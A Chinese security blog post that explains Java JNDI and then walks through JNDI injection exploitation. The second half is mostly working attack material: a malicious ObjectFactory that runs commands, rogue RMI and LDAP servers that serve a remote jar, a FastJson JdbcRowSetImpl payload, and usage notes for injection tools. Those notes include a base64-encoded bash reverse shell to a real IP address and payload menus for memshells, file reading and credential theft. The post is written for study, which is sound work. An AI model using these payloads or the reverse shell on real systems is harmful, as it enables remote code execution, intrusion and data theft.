HacKerQWQ的博客空间

java基础之jndi

Word count: 12.8kReading time: 67 min
2022/08/31 Share

介绍部分摘自:javasec之JNDI

JNDI介绍

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

更多JNDI相关概念参考: Java技术回顾之JNDI:命名和目录服务基本概念

JNDI目录服务

访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI上下文(Context)时未指定环境变量对象,JNDI会自动搜索系统属性(System.getProperty())applet 参数应用程序资源文件(jndi.properties)

使用JNDI创建目录服务对象代码片段:

1
2
3
4
5
6
7
8
9
10
11
// 创建环境变量对象
Hashtable env = new Hashtable();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");

// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");

// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)指的是JNDI服务处理的具体类名称,如:DNS服务可以使用com.sun.jndi.dns.DnsContextFactory类来处理,JNDI上下文工厂类必须实现javax.naming.spi.InitialContextFactory接口,通过重写getInitialContext方法来创建服务。

javax.naming.spi.InitialContextFactory:

1
2
3
4
5
6
7
package javax.naming.spi;

public interface InitialContextFactory {

public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;

}

JNDI-DNS解析

JNDI支持访问DNS服务,注册环境变量时设置JNDI服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory即可。

com.sun.jndi.dns.DnsContextFactory代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.sun.jndi.dns;

public class DnsContextFactory implements InitialContextFactory {

// 获取处理DNS的JNDI上下文对象
public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {
if (var1 == null) {
var1 = new Hashtable(5);
}

return urlToContext(getInitCtxUrl(var1), var1);
}

// 省去其他无关方法和变量
}

使用JNDI解析DNS测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.anbai.sec.jndi;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

/**
* Creator: yz
* Date: 2019/12/23
*/
public class DNSContextFactoryTest {

public static void main(String[] args) {
// 创建环境变量对象
Hashtable env = new Hashtable();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");

// 设置JNDI提供服务的URL地址,这里可以设置解析的DNS服务器地址
env.put(Context.PROVIDER_URL, "dns://223.6.6.6/");

try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

// 获取DNS解析记录测试
Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});
Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});

System.out.println(attrs1);
System.out.println(attrs2);
} catch (NamingException e) {
e.printStackTrace();
}
}

}

程序运行结果:

1
2
{a=A: 110.242.68.66, 39.156.66.10}
{a=A: 112.53.26.232, 111.30.144.71}

JNDI-RMI远程方法调用

RMI的服务处理工厂类是:com.sun.jndi.rmi.registry.RegistryContextFactory,在调用远程的RMI方法之前需要先启动RMI服务:rmi.server.RMIServerTest,启动完成后就可以使用JNDI连接并调用了。

使用JNDI解析调用远程RMI方法测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package rmi.server;

import rmi.server.RMITestInterface;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;

import static rmi.server.RMIServerTest.*;

/**
* Creator: yz
* Date: 2019/12/24
*/
public class RMIRegistryContextFactoryTest {

public static void main(String[] args) {
String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;

// 创建环境变量对象
Hashtable env = new Hashtable();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, providerURL);

// 通过JNDI调用远程RMI方法测试,等同于com.anbai.sec.rmi.RMIClientTest类的Demo
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);

// 通过命名服务查找远程RMI绑定的RMITestInterface对象
RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);

// 调用远程的RMITestInterface接口的test方法
String result = testInterface.test();

System.out.println(result);
} catch (NamingException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
}

}

程序执行结果:

1
Hello RMI~

JNDI-LDAP

LDAP的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory,连接LDAP之前需要配置好远程的LDAP服务。

使用JNDI创建LDAP连接测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.anbai.sec.jndi;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

/**
* Creator: yz
* Date: 2019/12/24
*/
public class LDAPFactoryTest {

public static void main(String[] args) {
try {
// 设置用户LDAP登陆用户DN
String userDN = "cn=Manager,dc=javaweb,dc=org";

// 设置登陆用户密码
String password = "123456";

// 创建环境变量对象
Hashtable<String, Object> env = new Hashtable<String, Object>();

// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "ldap://localhost:389");

// 设置安全认证方式
env.put(Context.SECURITY_AUTHENTICATION, "simple");

// 设置用户信息
env.put(Context.SECURITY_PRINCIPAL, userDN);

// 设置用户密码
env.put(Context.SECURITY_CREDENTIALS, password);

// 创建LDAP连接
DirContext ctx = new InitialDirContext(env);

// 使用ctx可以查询或存储数据,此处省去业务代码

ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}

}

JNDI-DataSource

JNDI连接数据源比较特殊,Java目前不提供内置的实现方法,提供数据源服务的多是Servlet容器,这里我们以Tomcat为例学习如何在应用服务中使用JNDI查找容器提供的数据源。

Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:Tomcat JNDI Datasource,这里我们在Tomcatconf/context.xml中添加如下配置:

1
2
3
4
<Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"/>

然后我们需要下载好Mysql的JDBC驱动包并复制到Tomcatlib目录:

1
wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"

配置好数据源之后我们重启Tomcat服务就可以使用JNDI的方式获取DataSource了。

使用JNDI获取数据源并查询数据库测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.ResultSet" %>
<%
// 初始化JNDIContext
Context context = new InitialContext();

// 搜索Tomcat注册的JNDI数据库连接池对象
DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");

// 获取数据库连接
Connection connection = dataSource.getConnection();

// 查询SQL语句并返回结果
ResultSet rs = connection.prepareStatement("select version()").executeQuery();

// 获取数据库查询结果
while (rs.next()) {
out.println(rs.getObject(1));
}

rs.close();
%>

访问tomcat-datasource-lookup.jsp输出: 5.7.28,需要注意的是示例jsp中的Demo使用了系统的环境变量所以并不需要在创建context的时候传入环境变量对象。Tomcat在启动的时候会设置JNDI变量信息,处理JNDI服务的类是org.apache.naming.java.javaURLContextFactory,所以在jsp中我们可以直接创建context

JNDI-协议转换

如果JNDIlookup时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。

JNDI默认支持自动转换的协议有:

协议名称 协议URL Context类
DNS协议 dns:// com.sun.jndi.url.dns.dnsURLContext
RMI协议 rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP协议 ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP协议 ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP对象请求代理协议 iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP对象请求代理协议 iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP对象请求代理协议 corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

RMI示例代码片段:

1
2
3
4
5
// 创建JNDI目录服务上下文
InitialContext context = new InitialContext();

// 查找JNDI目录服务绑定的对象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");

示例代码通过lookup会自动使用rmiURLContext处理RMI请求。

JNDI-Reference

JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。

RMI/LDAP远程对象引用安全限制

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

1
2
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在启动Java程序时候指定-D参数-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

LDAPJDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false

高版本JDK可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用

使用创建恶意的ObjectFactory对象

JNDI允许通过对象工厂(javax.naming.spi.ObjectFactory)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。

对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

ReferenceObjectFactory示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.anbai.sec.jndi.injection;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
* 引用对象创建工厂
*/
public class ReferenceObjectFactory implements ObjectFactory {

/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("curl localhost:9000");
}

}

创建恶意的RMI服务

如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的RMI服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.anbai.sec.jndi.injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;

/**
* Creator: yz
* Date: 2019/12/25
*/
public class RMIReferenceServerTest {

public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "http://p2j.cn/tools/jndi-test.jar";

// 对象的工厂类名
String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";

// 监听RMI服务端口
LocateRegistry.createRegistry(RMI_PORT);

// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);

// 转换为RMI引用对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

// 绑定一个恶意的Remote对象到RMI服务
Naming.bind(RMI_NAME, referenceWrapper);

System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}

}

程序运行结果:

1
RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

启动完RMIReferenceServerTest后在本地监听9000端口测试客户端调用RMI方法后是否执行了curl localhost:9000命令。

使用nc监听端口:

1
nc -vv -l 9000

RMI客户端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.anbai.sec.jndi.injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;

/**
* Creator: yz
* Date: 2019/12/25
*/
public class RMIReferenceClientTest {

public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
// System.setProperty("java.rmi.server.useCodebaseOnly", "false");
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

InitialContext context = new InitialContext();

// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup(RMI_NAME);

System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}

}

程序运行结果:

1
Process[pid=8634, exitValue="not exited"]

客户端执行成功后可以在nc中看到来自客户端的curl请求:

1
2
3
4
GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*

上面的示例演示了在JVM默认允许加载远程RMI引用对象所带来的RCE攻击,但在真实的环境下由于发起RMI请求的客户端的JDK版本大于我们的测试要求或者网络限制等可能会导致攻击失败。

创建恶意的LDAP服务

LDAPRMI同理,测试方法也同上。启动LDAP服务端程序后我们会在LDAP请求中返回一个含有恶意攻击代码的对象工厂的远程jar地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。

包含恶意攻击的LDAP服务端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.anbai.sec.jndi.injection;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LDAPReferenceServerTest {

// 设置LDAP服务端口
public static final int SERVER_PORT = 3890;

// 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
public static final String BIND_HOST = "127.0.0.1";

// 设置一个实体名称
public static final String LDAP_ENTRY_NAME = "test";

// 获取LDAP服务地址
public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;

// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";

// 设置LDAP基底DN
private static final String LDAP_BASE = "dc=javasec,dc=org";

public static void main(String[] args) {
try {
// 创建LDAP配置对象
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

// 设置LDAP监听配置信息
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())
);

// 添加自定义的LDAP操作拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor());

// 创建LDAP服务对象
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

// 启动服务
ds.startListening();

System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);

try {
// 设置对象的工厂类名
String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);

// 设置远程的恶意引用对象的jar地址
entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);

// 设置LDAP objectClass
entry.addAttribute("objectClass", "javaNamingReference");

result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
}
}

}

}

程序运行结果:

1
LDAP服务启动成功,服务地址:ldap://127.0.0.1:3890/test

LDAP客户端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.anbai.sec.jndi.injection;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;

/**
* Creator: yz
* Date: 2019/12/27
*/
public class LDAPReferenceClientTest {

public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

Context ctx = new InitialContext();

// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup(LDAP_URL);

System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}

}

程序运行结果:

1
java.lang.UNIXProcess@184f6be2

JNDI注入漏洞利用

2016年BlackHat大会上us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf提到了包括RMILDAPCORBAJNDI注入方式攻击方式被广泛的利用于近年来的各种JNDI注入漏洞。

触发JNDI注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI服务,且lookup的参数值可控、JDK版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。

示例代码:

1
2
3
4
5
6
7
import javax.naming.Context
import javax.naming.InitialContext

Context ctx = new InitialContext();

// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup("注入JNDI服务URL");

我们只需间接的找到调用了JNDIlookup方法的类且lookupURL可被我们恶意控制的后端接口或者服务即可利用。

FastJson 反序列化JNDI注入示例

比较典型的漏洞有FastJsonJNDI注入漏洞,FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java类(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE

JdbcRowSetImpl示例:

1
2
3
4
5
6
7
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(request.getParameter("url"));
jdbcRowSet.setAutoCommit(true);
%>

假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceNamesetAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:

  1. 反射创建com.sun.rowset.JdbcRowSetImpl对象。
  2. 反射调用setDataSourceName方法,设置JNDIURL
  3. 反射调用setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
  4. 调用lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。
  5. 执行恶意的类对象工厂方法实现RCE。

FastJson JdbcRowSetImpl Payload:

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:3890/test",
"autoCommit": "true"
}

FastJson JNDI测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.anbai.sec.jndi.injection;

import com.alibaba.fastjson.JSON;

/**
* Creator: yz
* Date: 2019/12/28
*/
public class FastJsonRCETest {

public static void main(String[] args) {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";

Object obj = JSON.parse(json);
System.out.println(obj);
}

}

程序执行后nc会接收到本机的curl请求表明漏洞已利用成功:

1
2
3
4
GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*

JDNI注入工具

jndi-injection-exploit

可执行程序为jar包,在命令行中运行以下命令:

1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

常见用法:

1
2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi82NiAwPiYx}|{base64,-d}|{bash,-i}' -A '101.35.156.126'
# bash -i >& /dev/tcp/101.35.156.126/66 0>&1

其中:

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即”open /Applications/Calculator.app”)

  • -A - 服务器地址,可以是IP地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

注意:

  • 要确保 109913898180端口可用,不被其他程序占用。

    或者你也可以在run.ServerStart类26~28行更改默认端口。

  • 命令会被作为参数传入**Runtime.getRuntime().exec()**,

    所以需要确保命令传入exec()方法可执行。

    bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C “bash -c …”

JNDI

特点:满足不同需求,payload多

项目地址:https://github.com/su18/JNDI

介绍

本项目为 JNDI 注入利用工具,生成 JNDI 连接并启动后端相关服务,可用于 Fastjson、Jackson 等相关漏洞的验证。

本项目是基于 welk1n 的 JNDI-Injection-Exploit,在此项目的基础服务框架上,重新编写了攻击利用代码,支持更多更强大的功能,并加入了多种方式进行回显的支持。

本项目为学习性项目,目前本人 Java 水平依然处于 hello world 的水平,建议各位师傅报着批判的眼光观看,不吝指导。QAQ

功能

本工具支持了利用 JNDI 注入构造多种恶意 payload,其中包括:

名称 功能 简介
BasicInfo 获取服务器基础信息 打印出 System.getProperties() 中的信息
Command 命令执行 反射调用 forkandexec 执行命令
DataSourceHack 获取Spring DataSource 明文 获取缓存在上下文中的 DataSource
DirList 目录遍历 使用 File 对象列目录
FileDelete 文件删除 使用 File 对象删除文件
FileRead 文件读取 使用 FileInputStream 读取文件
FileWrite 文件写入 使用 FileOutputStream 写文件
SQL Query 执行SQL语句 使用 JDBC 发出查询
SSRF 访问内网应用 发送 HTTP 请求,并将结果返回

对于具体功能的构建比较简单,几乎就是正常的功能性编程,只不过部分功能使用了反射,可能不易于阅读。

对这部分功能实现有疑问的同学可以在 Javasec 上找到相关的文章。

对于各项参数的配置使用了配置文件的方式,由于是在调用时会读取文件,并未将值进行缓存,所以可以随时修改配置文件中 payload 的值,无需重启服务。

除去基本功能,本工具加入了多种回显方式,使 JNDI 注入的结果能够返回,这样在研究或测试中可以更方便的看到结果,本攻击支持了如下回显方式:

名称 功能 简介
ExceptionEcho 报错回显 throw 一个异常,message 是我们执行的结果
OOBEcho 带外回显 向 dnslog 平台发送数据包携带执行结果
TomcatEcho Tomcat 回显 通过 Tomcat 获取 response 将结果写入
WebLogicEcho WebLogic 回显 通过 WebLogic 获取 response 将结果写入

有了这些功能,我们就可以把 JNDI 注入活活玩成 webshell。

使用

使用源代码执行:

下载项目源代码:

1
git clone git@github.com:JosephTribbianni/JNDI.git

执行 org.su18.server.ServerStartmain() 方法,可以在控制台中看到启动消息。

使用 jar 文件执行:

在 release 下载打包好的文件,解压压缩包,确保配置文件与 jar 文件位于同一目录下,请根据自定义需求修改端口号及其他配置项,运行 jar 文件:

1
java -jar JNDI-1.0-all.jar

查看生成的恶意类

可以使用 org.su18.asm.frame.Frame 类的 main() 方法生成 .class 文件进行查看。

执行后,会在项目根目录生成文件,使用任意手段 decompile 后可查看逻辑。

使用展示

这里利用 fastjson 结合 jndi 来进行部分功能使用展示:

命令执行 id :

image-20200408132444506

基础信息:

image-20200408132541104

获取 Spring 数据源信息:

image-20200408132656296

对我电脑上的 /Users/phoebe/PycharmProjects 进行目录遍历:

image-20200408133110038

文件读取 /etc/passwd

image-20200408133302051

等等,剩余的就不展示了,自测吧。

上面使用了 TomcatEcho 进行回显,其他回显展示:

报错回显:

image-20200408133609959

OOB 回显:

image-20200408133846750

JNDIExploit

特点:payload多,有绕过模块,使用方便,可以直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells

[+] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
